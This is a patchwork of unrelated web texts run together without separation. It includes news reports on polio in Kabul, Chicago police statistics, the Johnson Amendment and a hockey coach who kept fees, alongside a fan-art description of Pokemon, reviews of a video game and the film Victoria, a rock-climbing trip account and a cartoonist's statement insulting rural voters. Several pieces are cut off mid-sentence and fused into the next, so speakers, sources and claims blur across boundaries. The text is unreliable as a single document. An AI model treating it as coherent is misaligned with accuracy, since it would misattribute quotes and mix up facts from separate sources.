Merin was not happy, telling The Post the decision against “a legitimate lawsuit that demands the accountability of the city for an egregious act” was “absolutely astonishing.”Commission forSeason 2 of my Realistic Pokemon series begins with Flygon.Flygon are a large, desert dwelling dragon. Though of a similar length and habitat to adult male Garchomps, Garchomps have much more mass and are much more aggressive. Adult Flygon are seldom seen setting foot on the ground, due to their natural proclivity towards levitation. Science has not yet discovered the nuances of their helium bladder, though it is known that Flygon's helium bladders are much more efficient than their juvenile state, Vibrava. Flygon skim the desert surface of the desert, diving into the loose sands for prey. They are adept sand swimmers, though they only utilize this skill to collect meals. Flygon have developed a transparent membrane over their sensitive eyes, it acts as a hardy shield from the course sands of its environment.Trapinch are the earliest stage in the life cycle of a Flygon. They possess a grossly enlarged head which is used as a makeshift sand trap. A Trapinch will burrow into the sands creating a pit of loose sand. It will then reveal only its head while it grips deep roots. Anything Pokemon unlucky enough to stumble upon its pit are swallowed into the maw of the Trapinch. They have even developed clever false eye camouflage to hide the location of their real eye, a trapped Pokemon may try to attack its eyes to break free.A Trapinch will spend a minimum of 35 months buried in the sand before it has grown large enough wings and a helium bladder to hunt with its trap. This stage of life is known as a Vibrava. Vibrava will develop two large nasal crests, which eventually recede and reappear on the back of the cranium as Flygon. Vibrava its not capable of suspended flight like Flygon, but its smaller wings can be moved with great speed causing vibrations. They will use these vibration to disorient small desert dwelling Pokemon such as idiot Cacneas. This is the noise a Cacnea will make as it desperately fights for its meaningless life. There are also some other little desert Pokemon in there, but who cares about those ones.Photoshop CS5: 25 hoursFlygon©NintendoMedia playback is unsupported on your device Media caption Children in Kabul are being vaccinated against polio, as David Loyn reports
An Afghan girl has been diagnosed with polio in Kabul - the capital's first case since the Taliban's fall in 2001.
The health ministry ordered a vaccination campaign across the capital after the three-year-old was diagnosed.
Polio remains endemic in Afghanistan, Pakistan and northern Nigeria, but has been almost wiped out around the world.
In all three countries Islamic extremists have obstructed health workers, preventing polio eradication campaigns from taking place.
Since the Afghan Taliban changed their policy, allowing vaccination in recent years, there has been a decline in cases in Afghanistan.
The emergence of a new case in Kabul is worrying health officials.
It was discovered in a very poor community of Kuchis, formerly nomadic herdsmen, now settled on a hillside in the east of the capital.
In response, health workers have tried to visit every home in the community.
There is no running water or electricity, and some of the ex-nomads still live in tents, despite the cold of winter in Kabul.
Image caption Children from Kabul's poor Kuchi community have now been vaccinated against the disease
Once the workers have put drops into the mouths of infants they find, they mark their hands with a blue line, and write the date on the wall.
It seems rudimentary, but tens of thousands of volunteers in campaigns like this across the country have succeeded in almost beating the disease.
Cross-border transmission
The girl who contracted the disease, Sakina, was diagnosed after she became paralysed.
Her father is a taxi driver who often goes to the frontier region with Pakistan, and has now taken her there for treatment.
Her uncle, Mohammed Azim, said that she complains: "I can't stand up. The other children are playing and I cannot."
The polio strain in the two countries is identical, and with 1.5 million children crossing the frontier every year, cross-border transmission is inevitable.
The effort on polio eradication is not over yet Soraya Dalil, Afghan health minister
Nearly all of the cases in Afghanistan last year were in regions close to the Pakistan border.
Afghanistan has health workers at the border crossings, attempting to monitor all children who cross, and vaccinating those at risk.
But many people do not cross at formal customs posts, instead using tracks across the mountains and deserts that line the porous frontier.
'Undermining efforts'
The Taliban in Afghanistan remain a nationalist movement, who have been persuaded of the values of modern medicine.
But the Pakistani Taliban are a far more ideological group, similar to Boko Haram in northern Nigeria, who are focused on global jihad, and unwilling to believe anything the west tells them.
As well as killing health workers, the Pakistani Taliban have campaigned against vaccination, spreading the malicious rumour that it is a covert policy of sterilisation.
Their opposition, along with continuing insecurity in some parts of Afghanistan, could prevent continuing progress towards global eradication of the disease.
Afghan Health Minister Soraya Dalil said the continuing opposition of the Pakistani Taliban was a threat, "undermining efforts" to eradicate polio in Afghanistan.
After the initial local vaccination campaign, routine campaigns would continue, she said, to keep up the pressure, and ensure that this is an isolated case and not a new outbreak.
"This new case in Kabul tells us that the effort on polio eradication is not over yet, and we have to accelerate the effort to make sure that every child, no matter where they are, receive polio drops."CHICAGO -- As it scrambles to regain public trust shattered by the video of a black 17-year-old being shot 16 times by a white officer, the Chicago Police Department released crime statistics Friday that reveal a drop in some major crimes in the city but a significant increase in the number of homicides and shootings.
The department pointed to reductions in overall crimes for the fourth straight year and the lowest number of violent crimes since the 1960s, something it has for months told a city that's seen mounting homicide numbers - 468 in 2015 after falling to 416 in 2014.
The release, which came weeks after Chicago made public the video of Officer Jason Van Dyke fatally shooting Laquan McDonald, also acknowledges that trust in the department "has been shaken." It does not mention the forced resignation of Police Superintendent Garry McCarthy, the murder charge against Van Dyke nor various federal and local investigations, but it does include several "major reforms" that were announced earlier this week.
"In addition to building upon our public safety accomplishments, our focus for 2016 will be to restore the trust of the people of Chicago by being more transparent and continuing to work... to take a critical look at tour department to develop best-in-class policies and practices," Interim Police Superintendent John Escalante said in the statement.
In some ways, the release was similar to those issued under McCarthy, such as the mention of nearly 7,000 illegal guns confiscated by the department and criticism of the state's lenient gun laws.
More significantly, the release stressed "major reforms" and "policy revisions" that have been announced by the department in the wake of the McDonald video, such as implementing training for officers to "resolve confrontations using the least force necessary" and equipping every responding officer with Tasers by June 1.
Chicago mayor revamping police training
The department and the city's leaders also have been criticized for what many view as a willingness to cover up the misdeeds of officers. Shortly after the McDonald video was released, the city released reports of police officers at the scene of that shooting, and this week, the city's law department released thousands of pages of internal documents as a way to demonstrate its commitment to transparency.
Shortly after he became interim superintendent, Escalante said that dashboard cameras were being inspected and that officers could face punishment of they are not in working order. And on Friday, the news release said that the department is expanding the use of body cameras.WASHINGTON — When President Trump told an audience of religious leaders on Thursday that he would ‘destroy’ the Johnson Amendment, he declared his intention to sign a bill that would fundamentally alter a major aspect of the church-state divide that has been a constant in American politics for generations.
But what exactly is the Johnson Amendment?
A restriction for churches and nonprofits
It is one of the brightest lines in the legal separation between religion and politics. Under the provision, which was made in 1954, tax-exempt entities like churches and charitable organizations are unable to directly or indirectly participate in any political campaign on behalf of, or in opposition to, any candidate. Specifically, ministers are restricted from endorsing or opposing candidates from the pulpit. If they do, they risk losing their tax-exempt status.
Considered uncontroversial at the time, it was passed by a Republican Congress and signed into law by President Dwight D. Eisenhower, a Republican. Today, however, many Republicans want to repeal it.
The ‘Johnson’ is Lyndon Johnson
Back when Lyndon B. Johnson was a senator from Texas, he introduced the measure as an amendment to the tax code in 1954. Like many things Johnson did, the goal was to bludgeon a political opponent, in this case a rival in a primary who had the backing of nonprofit groups that were campaigning against him by suggesting he was a communist. Though there was no church involved, according to PolitiFact, churches were covered by the bill as well.Washington exploiting Green Beret deaths to escalate Africa intervention
27 October 2017
More than three weeks after four special operations troops died in a firefight in Niger, the Pentagon has yet to provide a coherent account of what led to this military debacle.
Combined with President Donald Trump’s initial silence on the deaths, followed by his repugnant public debate with the widow of one of the slain soldiers, the |
Test is a soloplay puzzler from Bulkhead Interactive and Square Enix due out August 30, 2016. This game is $19.99 (currently on sale by Steam for $17.99) from Steam for PC or Xbox One. The game is approximately 5-10 hours in length. Although, this genuinely depends on how well the player adapts and solves the individual puzzles.
This game has puzzling mechanics similar to Portal and story elements reminiscent of 2001: A Space Odyssey. The Turing Test adds deep philosophical undertones and heavy contemplation on the nature of humanity and consciousness.
The game’s name is based on the Turing Test created by famous scientist and mathematician Alan Turing. His design was meant to differentiate artificial intelligence from the human mind. Ava is armed with an Energy Manipulation Tool, T.O.M., and tiny robots that reminded me of Wall-E. This game requires the player to carefully use these provided resources to solve puzzles in nonlinear ways.
Ava Turing is a backup scientist awoken early from cryosleep as part of a research team studying Jupiter’s moon Europa. The computer, T.O.M., is concerned because he has not heard from the ground crew following a groundbreaking scientific discovery. He alerts Ava that he needs her help. Upon arrival at the base camp on Europa, it becomes clear that there is much more going on than meets the eye.
The narrative is expertly woven throughout the puzzle series, using papers, sound recordings, and objects belonging to the crew. Each new chapter tells a story about the lives of individual members of the ground crew, the nature of human consciousness and morality, and what separates man from machine in a technologically advanced world.
I enjoyed every moment of this game. I found myself perplexed, thinking about the game long after I logged off my computer. The Turing Test is an unexpected delight with a moving narrative about what it means to be human.
Want to win a copy of The Turing Test?The mother of a 17-year-old goalie sidelined by serious illness is appalled by the conduct of his hockey coach, who kept $8,000 in fees from her son — for a season he missed entirely.
"All he wanted was to play hockey," said Aline Maalouf, of Mississauga, Ont. "It just ripped me to pieces, the pain that he's in physically — and this is just adding to it."
"I had to have my parents help me walk … I was going through so many things," said her son.
Kevin’s leg swelled up and doctors had to remove a painful cluster of scar tissue and blood vessels several months ago. (Aline Maalouf)
Before he got sick, Kevin Maalouf thought he might even make it to the NHL. No top-tier Junior A team would sign him though, he said, because he's just five-foot-seven.
"I've been turned down so many times," said Maalouf.
His only option at that level in Ontario for 2014-15 was to "pay to play" with the Orangeville Americans, coached and owned at the time by Tyler Fines, who signed him for $9,800.
Coach 'believed in me'
"Finally someone believed in me. I thought really the guy believed in me. For him to say 'I want you,' after watching my highlight reels and seeing my recruitment profiles — that was amazing."
The Orangeville team is part of the Greater Metro Hockey League, widely referred to as an "outlaw league," not because it's illegal, but because it's not governed by Hockey Canada. The GMHL promises players a shot at U.S. and Canadian university scholarships.
"I wanted to play NCAA division one hockey. I wanted the scholarship," said Maalouf.
Before he stepped on the ice even once, though, the goalie's leg swelled up in pain and started bleeding. He got bruises for no reason. He's since been diagnosed with two serious conditions. Doctors told him he can't play any more contact sports.
"I have ITP [idiopathic thrombocytopenic purpura], which is low platelets. And meaning you can potentially bleed out," said Maalouf. "I've had now close to 20–25 transfusions."
Money gone
Early in the season, Fines had already cashed most of Maalouf's cheques — $8,000 worth — money which came from the young goalie's education fund.
The "pay to play" contract states fees are non-refundable, but the Maaloufs hoped the coach would make an exception because their son is ill.
Initially, Fines told them that wouldn't happen.
Kevin’s former coach Tyler Fines cashed $8,000 worth of cheques. He later promised a refund but has not delivered. (Tyler Fines/Facebook)
"[We] operate our hockey team on a budget, and at this point all of our money from players has yet to be collected," said Fines in a Sept. 21 email.
"We have found a replacement goalie for Kevin to continue the season, however we have yet to collect his payment in full."
Four days later, however, Fines sold the team. The Maaloufs continued to email and text him, hoping for compassion. In December, the coach texted Kevin's dad, promising a refund.
Empty promise
"Can you come to York U and pick up the cheques this week?" Fines texted. "You can pick them up sir." The family said that never happened.
The coach declined to comment on all of this, but did confirm to Go Public that he hasn't refunded the money.
"I've lost a lot of trust in coaches," said Maalouf. "We pay to play. I paid — but I didn't get to play."
The case highlights the relatively new practice in Junior A hockey of charging Canadian families thousands of dollars so their sons can chase the pro hockey dream.
Hockey journalist Ken Campbell, who authored the 2013 book Selling the Dream, said $10,000 is an exorbitant amount to pay for a season of Junior A hockey. (CBC)
"It's buyer beware," said GMHL president Bob Russell, who pointed out all fees are non-refundable.
He told Go Public that running a team can cost owners $150,000 a year. "The business model has changed. It has become a very expensive sport over the years."
Better players charged less
Russell said players on the league's 22 teams pay between $3,500 and $10,000 per season. He said the best players, those the team really wants, are often the ones that get "a break" at the lowest rate.
Only a few players, particularly those other teams don't want, pay top price, he said. On average, three per team later make the cut to play at higher levels.
"The business of selling the dream is very, very good in Canada right now," said Hockey News senior writer Ken Campbell, who wrote a book about that.
He said he thinks any family that pays $10,000 for a shot at a scholarship has been suckered.
"You could be putting a lot of money into something that could turn out to be very much a dead end. Because in reality it's the old cliché, but it's true — many are called and few are chosen."
"You don't want to be the one who tried to stop him … stood in his way," said Maalouf's mother.
In this case, the new owner of the Orangeville team told Go Public it is not involved. Russell said the league will also not cover the cost of a refund.
"It isn't our responsibility to do that. This agreement made by Tyler Fines and the family really has nothing to do with us," said Russell.
Greater Metro Hockey League president Bob Russell told Go Public that it’s 'buyer beware.' (CBC)
"We want to show some compassion for this family. What I will do — and what we have been doing — is discussing this problem with Tyler, and he has told us he will pay the family."
Fines also indicated to Go Public that he intends to pay. Aline Maalouf is skeptical, though, and said she has lost her taste for minor hockey.
"It's all politics. It's a business for them," said Maalouf. "I don't want people to go through this. I want kids to have fun. But sometimes it's not really worth it."
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Follow @CBCGoPublic on TwitterI’m lost in a sea of tiny edges, fighting desperately to keep my balance and composure. The hot Mexican sun beats down on my bare back, and my feet are on fire inside tight sport shoes. I’m 20 horizontal feet from my last bolt, with only a few more moves to the anchor. Nothing exists in my world except two small edges. God, I hope they don’t break...
We are on the last day of our trip to El Gran Trono Blanco, and I’m on the last hard pitch of a route called The Giraffe. I’ve failed to free-climb this pitch once already. My skin is starting to wear through, the sun is getting hotter, and I probably don’t have another try in me.
Our trip had begun a week ago, in the parking lot of Mesa Rim Climbing Gym in San Diego. Will Stanhope, Paul McSorley, Andrew Burr, and I met up to carpool down to this 1,000-foot granite wall, hidden away just across the Mexican border in Baja. Paul and Will had been to “the Great White Throne” four years ago to try the Pan-American Route. This 10-pitch line up the east face had been put up in the early 1970s, and then, with some added bolts, freed by Paul Piana and Heidi Badaracco in the mid-1990s at technical 5.12+. The bolts were later chopped, and Will had tried to free it using only trad gear for pro. He hadn’t quite succeeded, and now he wanted to go back and send it—and hopefully also free The Giraffe, another old aid line on the wall. Andy and I are always keen for an adventure in Mexico, so we all headed down to see what we could do.
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We set out into San Diego’s rush-hour traffic, and even though we were only 50 miles from the border and probably less than 110 miles from the objective, it felt like we would never get there. Our three-lane on-ramp merged onto a six-lane freeway; some of the congestion was caused by road construction that was adding even more lanes. I was struck by the folly of it all. How many more lanes would we build before realizing that there must be a better answer?
Alex Honnold works fingertips and toes on the Brown Corner, the 5.12+ crux of the Pan-American Route. First freed in the 1990s with many added bolts, the pitch was later chopped and now only has a couple of fixed pieces.
During the week before the trip I’d been reading the book The World is Flat by Thomas Friedman, which outlines his thoughts on how globalization is making the world a smaller and more equally competitive place. I had a hard time accepting his ideas because they hinged around an economy that grows forever. How can you have infinite growth in a finite world? But his ideas were provocative, and thoughts on growth and the unequal distribution of wealth around the world would color my thoughts the whole time I was in Mexico.
An hour and a half later, we were ushered across the Mexican border without so much as anyone looking at our passports. We spent the night in Tecate, home of the very large brewing company by the same name. As we walked around the centro that evening and again the next morning, we couldn’t help but marvel at how different things are south of the border— all the more striking because you could see the huge fence that separates the U.S. and Mexico weaving across town. In San Diego, everything looked shiny and new. Here, it all looked used. Yet everything here was functional: There were roads, stores, gas, schools—anything you needed. Maybe this is what the whole world will look like as the global population catches up, Friedman-style, to American living standards. When every person in China and India owns a car and lives like an American, there won’t be enough of anything to keep it all looking showroom-fresh.
We headed out of Tecate and drove the few hours to Gran Trono Blanco. From the dirt roads that lace the desert above the canyon where the wall hides, it’s hard to believe that such a big face exists out there. Even from camp, all you can see are small crags and piles of granite boulders reminiscent of Joshua Tree.
Since Will and Paul had been to the elusive wall, we had no trouble finding it. We spent our first afternoon humping loads out to the top of the formation. The plan was for Will and me to free climb the Pan-American Route the next day, with Andy and Paul rapping the whole wall from the top so Andy could jumar near us and take photos. We would all set out early the next morning: Will and I to negotiate the epic descent down a boulder-choked gully and circle around to the base of the route; Paul and Andy to rig the 1,000-foot wall.
Though there is very little published info about Gran Trono, I had read accounts of the heinous approach. Will recalled it not being so bad, but by the time we’d finished sweating our way down the interminable gully and contouring around to the base of the route, he had a new opinion. We both already felt exhausted, but we could see the other guys rapping down the wall, so we started climbing up to meet them.
When Paul and Heidi freed the Pan-Am in 1993, they added many bolts to the crux fourth pitch, the “Brown Dihedral,” with the thought that it would make the route safer and more fun for future ascensionists. Later climbers, however, had different ideas about the retro-bolting. When Will and I arrived at the base of the pitch, we found only one bolt remaining, its hanger smashed, plus another piece fixed in an old bolt hole.
I was nervous as I started up the pitch. Thin laybacking is my least favorite style of climbing, especially with blind small gear. I could appreciate people’s commitment to traditional gear instead of bolts, but it’s hard to say how the pitch was in any way improved by leaving empty holes and smashed hangers. Regardless, I led upward on sporty gear before finally slipping off the crux moves, massively pumped; I then redpointed the pitch second try. Will fired it on toprope, and we continued much more easily to the top of the wall. It was late at night before we got back to camp, but we were all happy with a good start to the trip. Paul whipped up the first of what would turn out to be nightly fiestas of delicious Mexican food. The long evening extended into a lazy morning; we all needed a rest after such a big day. We lounged about and soaked up the sun, enjoying the complete silence of the Mexican desert. About twice a day a plane would fly over, no doubt heading to Tijuana, but the brief noise only served to remind us of the quiet.
I hiked back out to the summit in the afternoon to rap in and check out a 12-pitch aid line called The Giraffe. Put up in 1975 by John Long, Billy Westbay, and Hugh Burton, The Giraffe following a beautiful system of shallow corners connected by A3+ hooking, and capped by an impressive roof. The name stems from how far the team stuck their necks out while hooking through the blank sections. We hoped to free climb the route, and had already talked to John Long about the possibilities. He warned us of the blank sections, but said that the wall was extremely featured, and that surely we could find a way. He also said it would be OK to add bolts as we judged necessary—although we hoped to avoid any new bolts directly on the aid line. The next day, Will and I rapped the rest of the route, replacing some old tat and anchor bolts, and adding four bolts to protect two face-climbing variations.
Will Stanhope works through a thin section on the second pitch (5.11) of the Pan-Am Route.
The lower section of the wall turned out to be much steeper than I had anticipated. The climbing was hard, it was hot, and our skin got shredded—we got worked, but we managed to do all the moves. Now it was just a matter of whether we could redpoint the route during our three remaining days in Mexico.
I took my first full rest day, much needed after days of hiking out to climb or recon. I finished The World is Flat and started in on Less than Zero, a 1980s Bret Easton Ellis novel about cocaine-fueled overindulgence. The two books provided an ironic contrast: The World is Flat focused on how the rest of the world is striving to obtain our comfortable American lifestyle; Less than Zero finds such a materially comfortable lifestyle so alienating that people turn to excesses in drugs and sex to find meaning in their sad, isolated lives. And both books stood in stark contrast to the reality of the Mexican desert, where I slept out under the open sky each night. We spent many hours in bed simply because it got cold and there was nothing else to do, which gave me a lot of time to watch the stars move across the sky and wonder what modern life was really all about.
Will decided he wanted another day to rappel in and work the crux pitches on The Giraffe, so Paul and I decided to climb the Pan-Am again, so we could do a variation finish we had spotted and hopefully climb the whole route a little more smoothly than Will and I had. We didn’t bring a pack or a tag line, opting instead to get up early and climb fast, and hopefully avoid the midday sun. The plan worked perfectly, and we were at the final variation so early that Andy almost missed his photo op. The variation—one pitch of tricky 5.10 and another of hard 5.11—turned out to be great climbing, and completely avoided an unpleasant section of chimney climbing on the original line. We were glad to have improved an already great route.
Alex Honnold on a 5.12 lead high on The Giraffe.
When Will rejoined us in camp that evening, we knew he’d had a rough day. He said he still couldn’t do some of the crux sections, and that his skin was completely destroyed. He was demoralized, but we only had one day left before we had to start back north, so Will and I decided to give it a good redpoint attempt the next morning.
After a quick meal of instant oatmeal, we began our hike in the dark. The long days, long nights, and miles of hiking were taking their toll. I was tired all the way through and looked forward to heading home. But first we had to finish the route.
We rapped to the base (much easier than hiking), and Will took the first lead, getting us to the first crux before the sun had reached the wall. The pitch above, one of our face climbing variations, boiled down to a seven- or eight-move V8 boulder problem. I tried once and fell, disappointed but not entirely surprised. By then the sun had swept down the wall. Miraculously, I managed to claw my way through next try, and I felt a surge of optimism.
On toprope, Will freed a different version, bypassing my boulder problem but straying far to the side and facing a potentially dangerous swing. Even though he was climbing well, he was now completely worked, and he switched into support mode for the rest of the route, carrying our food and water and not worrying too much about free climbing everything.
The next few pitches passed smoothly, though turning the “Giraffe Roof”—which I had renamed the “Great Roof of Mexico,” due to its similarity to the famed feature on the Nose of El Cap—involved some of the most desperately thin footwork I’ve ever accomplished. Long after I had resigned myself to falling, I managed to stay on the wall, move after move, until I finally reached an amazingly placed jug above the roof and manteled to safety.
That brought us to the base of the final hard pitch, a long corner capped by a big, blank face. The aid line crossed the face by a bolt ladder, then a pendulum to a corner far to the right. Our intended free version would climb partway up the bolt ladder, then, where the wall eased back to more of a slab, traverse straight right on a faint dike system. My first attempt ended on the last move before the traverse. My skin was seeping, and the afternoon sun felt crushing on such technical slab climbing. As Will lowered me down, I knew that I had to pull it together.
On my next attempt I managed to get myself established at the traverse. Only 25 feet of horizontal climbing now separated me from the corner systems that would take us to the summit. I clawed at the wafer-like crimps as hard as I dared, worried that the tiny flakes might break. For the first time that day I forgot Andy was shooting photos above me. I forgot about everything except the sea of small edges.
By the last few moves I was facing an enormous swing if I blew it, but my biggest fear was not being able to send the route. As I made one final tricky foot move into the corner and stepped over to the anchor, I was overcome with elation. We’d done it! And, more important, I could now take off my over-tightened, sun-heated climbing shoes. We romped to the summit, linking pitches and having fun in every way except for the pain in our feet.
As we hiked all the ropes back to camp, I was genuinely proud of us all for accomplishing what we’d set out to do. But I was also strangely emotional after so much time in the desert. The desperately tenuous climbing, the heavy and contradictory books, the crazy San Diego traffic juxtaposed with the solitude of the Mexican desert—the whole experience had pushed me somewhere new. My head swam with uncomfortable, conflicting thoughts.
Back at camp we cooked up one last Mexican feast, sorted gear, and packed up the cars. We were on the road by late afternoon. We passed several wind turbines on the drive out, part of a Mexican energy project. As we headed back toward the 14-lane freeways of San Diego, I wondered what our “real world” really offers. Does progress just mean that you can buy more things at the mall and spend more time stuck in traffic every day? Is that really what the world is striving for?
And yet I was dying to get across the border so I could check email on my phone.
Beta The road to El Gran Trono Blanco heads south from Highway 2 near La Rumorosa, about midway between Tijuana and Mexicali in Baja, Mexico. At least eight established routes, averaging 10 to 12 pitches, ascend the broad east and south faces. There is no guidebook, but a few topos and other beta can be gleaned from online searches. The usual warnings about travel in northern Mexico apply.Note to Readers Just a reminder that we have installed a new donation page. If you are one of those readers who encountered technical problems with our new Paypal account last week, I apologize. I ought not to make it so difficult for people to give me money. I think I’ve worked out all the bugs now, so why not poke your head in there again and send us a little somethin’. Pound notes, loose change, bad checks, anything. Artist's Statement A sequel, of sorts, to 2004’s “The Shithead Vote.” I began drawing this almost immediately after the primary in West Virginia, where Obama lost by a significant margin to Hillary Clinton, who in exit polls was perceived by 100% of voters as “more white.” He lost by a wide margin again last week in Kentucky—like West Virginia, another of the historical “bumfuck states.” Kind of an awkward reality for the media to have to deal with, here. On the one hand, they have to take this factor into account in handicapping their electoral horse-race, plus any new perceived microtrend or passing interpretation of significance in poll results is fodder for rumination on the 24-hour news cycle. Once every four years they have to treat every whim and prejudice and superstition and wackjob theory of the electorate as phenomena to be taken seriously. Except the sticky part is, mainstream media also officially likes to pretend that widespread racism no longer exists, and that instances of racial prejudice are some sort of atavistic aberration, like vestigial tails or cannibalism, that can be exposed to the light of public disapproval and purged from the body politic by the ritual of scandal, outrage, reprimand, and scapegoating. The media raises a hysterical outcry, someone apologizes or gets fired, and we can all go as before. But there it is, this ugly poll result nobody can ignore: 2 in 10 voters in West Vriginia and Kentucky are citing race as a “major factor” in their vote. Now I don’t want to be a glass-is-half-empty man; 2 in 10 is better than 10 in 10, which is what it would’ve been fifty years ago. But those are still some wide margins of loss, and it’s hard to politely ignore the fact that there are still a lot of old-school racists out there. The media is torn between the imperative to take them seriously as a voting bloc and their instinct to disapprove. So they just neutrally report the numbers and avoid the delicate “issue” while we all secretly think to yourselves: crackers, hillbillies, bigots. A few weeks ago a dining companion said she was relieved that Obama had finally given in and worn an American flag lapel pin, because it shut up the sort of people who care about such things and took that issue out of their arsenal. I understood what she was saying, but I couldn’t bring myself to feel the same way. I was disappointed that he gave it to them. I can’t believe we still have to take those people seriously and validate their idiot bleating about God and country. Do we really have to keep pretending, at this point, to give a shit what those people think about anything at all? This country is a wreck and a laughingstock today because those people got everything they wanted for the last eight years. Doesn’t it ever occur to any of these yokels who don’t trust Obama because he can’t bowl: hey, maybe I don’t want a guy like me running the country, seeing as how I can’t even pay child support or get the fucking cable turned back on? Maybe I want somebody smarter than me in charge for a change. We’re at a grave and crucial moment in this country’s history, and once again we’re held hostage by the dim suspicions of people who think Obama is a Muslim Manchurian candidate. The most powerful nation on earth, still shackled to the idiot man-child of the South. The situation is perhaps best synopsized by the Onion op-ed: “Yee-Haw! My Vote Cancels Out Y’all’s!” There really is a Max Fightmaster, by the way. My colleague Emily’s boyfriend ships CDs around the world, and one of the people he sent an order to was one “Max Fightmaster,” who is, even more unbelievably, a soldier in Iraq. Thanks and an unironic salute to Max Fightmaster, wherever you are!In a down month for video games, Microsoft’s Xbox 360 continued to buck the trend in May, according to new data out this afternoon.
Microsoft sold 270,000 Xbox 360s in the U.S. in May, up 39 percent over the same month last year, according to data compiled by the NPD Group market research firm. The Microsoft console has now held the No. 1 slot, ahead of Sony’s PlayStation 3 and Nintendo’s Wii, for 11 out of the past 12 months in the country.
NPD noted that the Xbox 360 has “realized nearly a year and a half of month-over-month unit sales increases.” Microsoft’s Kinect motion sensor has breathed new life into the Xbox 360, resulting in higher sales at a point in the console life cycle that typically brings declines.
Even with Microsoft’s progress, the Wii remains the overall leader in cumulative console sales this hardware generation in the U.S. and worldwide, thanks to its huge sales volumes in the initial years following its release. Nintendo last week unveiled plans for a new console, the Wii U, featuring a motion-sensitive controller with an embedded touch screen. It’s expected to be released next year.
Overall, total sales of hardware, games and accessories fell 14 percent in May to $743 million in U.S. physical retail stores. NPD blamed a light schedule for new game releases. NPD didn’t release May sales figures for the PS3 or Wii; the research firm leaves it to each company to disclose its data.Dir: Sebastian Schipper
Starring: Laia Costa, Frederick Lau, Franz Rogowski
2h 18min. Cert 15
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Victoria is a German film that came highly recommended to me by several friends, and after watching it I can see why. Sebastian Schipper’s one-shot film might remind you of Hitchcock’s Rope or Iñárritu‘s Oscar-winner Birdman, but there’s a big difference. Where Rope and Birdman fooled audiences with clever editing and camera trickery, Victoria is the real deal.
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Any fan of the first season of True Detective will remember that shot, a tense six minute long-take weaving through buildings and gardens. And most would agree that it was impressive enough. But Victoria is an unbelievable two hours and eighteen minutes of uncut action. Technically, it’s a masterpiece. And I’m ashamed not to have seen it sooner.
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But the one-shot format does have its problems. The biggest being that at points it can ruin immersion. The cameraman becomes an unseen character, and so often I find myself admiring the cinematography or thinking about the cameraman stuffed in the middle seat of a car, trying not to accidentally ram the camera into one of the actors’ faces as they pan left*. It takes me out of the story.
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But I don’t think there’s any way around this, it’s a catch 22 of cinema in general. An impressive shot always takes me out of the film as I start to wonder how they achieved it, but boring shots are boring. You can’t win. Another limitation of one-shot films is that they have to be set in real-time, which can be limiting in terms of plot and character-development. But Victoria takes this limitation and makes it work to its advantage.
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Victoria is a film that everyone should watch, especially those interested in cinematography or world-cinema. The acting, as far as I could tell**, was great. Laia Costa and Frederick Lau were both brilliant and believable. Whilst nothing new in terms of plot, the film does take some unexpected turns. At the start I thought it was going in a completely different direction as I waited for shit to start hitting the fan. Of course you can bet that those fan blades will be coated in fruity brown at some point, but it wasn’t in the way I thought.
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At points it reminded me of This is England, with points where melancholy piano overrides all dialogue and diegetic sound. And at another time it made me think of Children of Men, namely the staircase scene, which is another famous long-take. But Victoria is its own thing, it’s safe to say I’ve never seen anything like it. If there’s a making-of out there I’d imagine it would be at least as interesting as the actual film was.
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My only real criticism, other than the generic pitfalls of one-shot films, is that it goes on too long. Some scenes drag a little, and it could probably be about half an hour shorter and still achieve the same thing. But every extra minute does make it more impressive. The rehearsals must have been crazy. It’s sort of like theatre, but with less jazz-hands. And it’s actually good.
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Sadly there’s not really anything funny to point out. It’s that good of a film. Actually, I guess there was one little thing. There’s a lot of saliva. Seriously. A lot. I think I saw every main character spewing dribble onto their chin at some point or other. Not a criticism, just an observation. Something to look out for when you watch it I guess. Maybe you could even make it into a fun drinking game. Spot the spit and do a shot.
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Saliva aside, if you like films, then go watch Victoria. It’s a bit long but it’s a truly impressive technical feat unlike anything you’ll have ever seen before. Fuck Birdman. Cos Victoria did it better.
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Rating: 4 / 5
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Also The Revenant was mediocre. There. I said it.
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*The cameraman didn’t do this, not even once. And they were billed before anyone else in the credits, including the director, which I think was well deserved.
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**Sometimes I have a hard time telling if actors speaking other languages are good or not. Maybe it’s because of the difference in tone and cadence in the language, or probably because I spend my time staring at the subtitles.
AdvertisementsLike practically everything else in American political life, the culture wars have become part of the standoff between red states and blue states.
Not that long ago, the major differences between states consisted of tax rates and levels of government service. Now, states controlled by Democrats and Republicans take entirely different approaches when it comes to gun control, the death penalty, marijuana legalization, access to abortion and rights for lesbian, gay, bisexual and transgender (LGBT) individuals.
San Francisco Mayor Ed Lee and New York Gov. Andrew Cuomo, both Democrats, made this split explicit last month by barring non-essential travel by government employees to North Carolina, in protest over the state's new law blocking anti-discrimination protections for LGBT individuals. Others have followed.
Mississippi enacted a law last week to protect the religious liberty of individuals that don't want to provide services for same-sex weddings. Conversely, Pennsylvania Gov. Tom Wolf and New York City Mayor Bill de Blasio, both Democrats, have recently signed executive orders expanding rights for transgender individuals.
"It's one of the strengths of federalism," says Ryan T. Anderson, who researches marriage and religious liberty at the conservative Heritage Foundation. "I think we're going to see this contested for the foreseeable future, especially on the question of abortion and the question of religious freedom."
GOP-dominated states have enacted dozens of abortion restrictions since the huge wave of Republican victories in 2010. The Supreme Court appears likely to uphold, on a 4-4 split, a Texas law that imposes restrictions on abortion clinics that will force many to close. Such an outcome might encourage more red states to follow a similar model.
Lately, legislators in red states have been considering legislation that would further sanctify the Bible. Last month, the Kentucky Senate unanimously passed a bill to allow use of the Bible in school plays, in response to an incident in which a school had deleted a biblical passage from "A Charlie Brown Christmas." A Tennessee bill that would name the Bible as the official state book is sitting on the desk of GOP Gov. Bill Haslam, who has concerns about its constitutionality.
But LGBT rights have become the major battleground in the culture wars. Rights for gay people and now transgender individuals have been advancing rapidly, but this has triggered a backlash. Not everyone accepts that marriage should be defined as anything other than the union of a man and a woman, despite the Supreme Court verdict. Mat Staver, a former law school dean at Liberty University, has said that same-sex marriage represents "the beginning of the end of Western civilization."
"When you elevate it to that level, you have to find a way to fight back," said Barry Lynn, executive director of Americans United for Separation of Church and State. "The way they've chosen, in general, is these religious freedom bills."
These proposals have not been a slam dunk, as the controversy surrounding the North Carolina law has shown. On Tuesday, GOP Gov. Pat McCrory signed an executive order to soften the anti-LGBT bill, but critics said it was barely an improvement. Last year, Indiana and Arkansas faced controversies and threats of business boycotts over similar legislation.
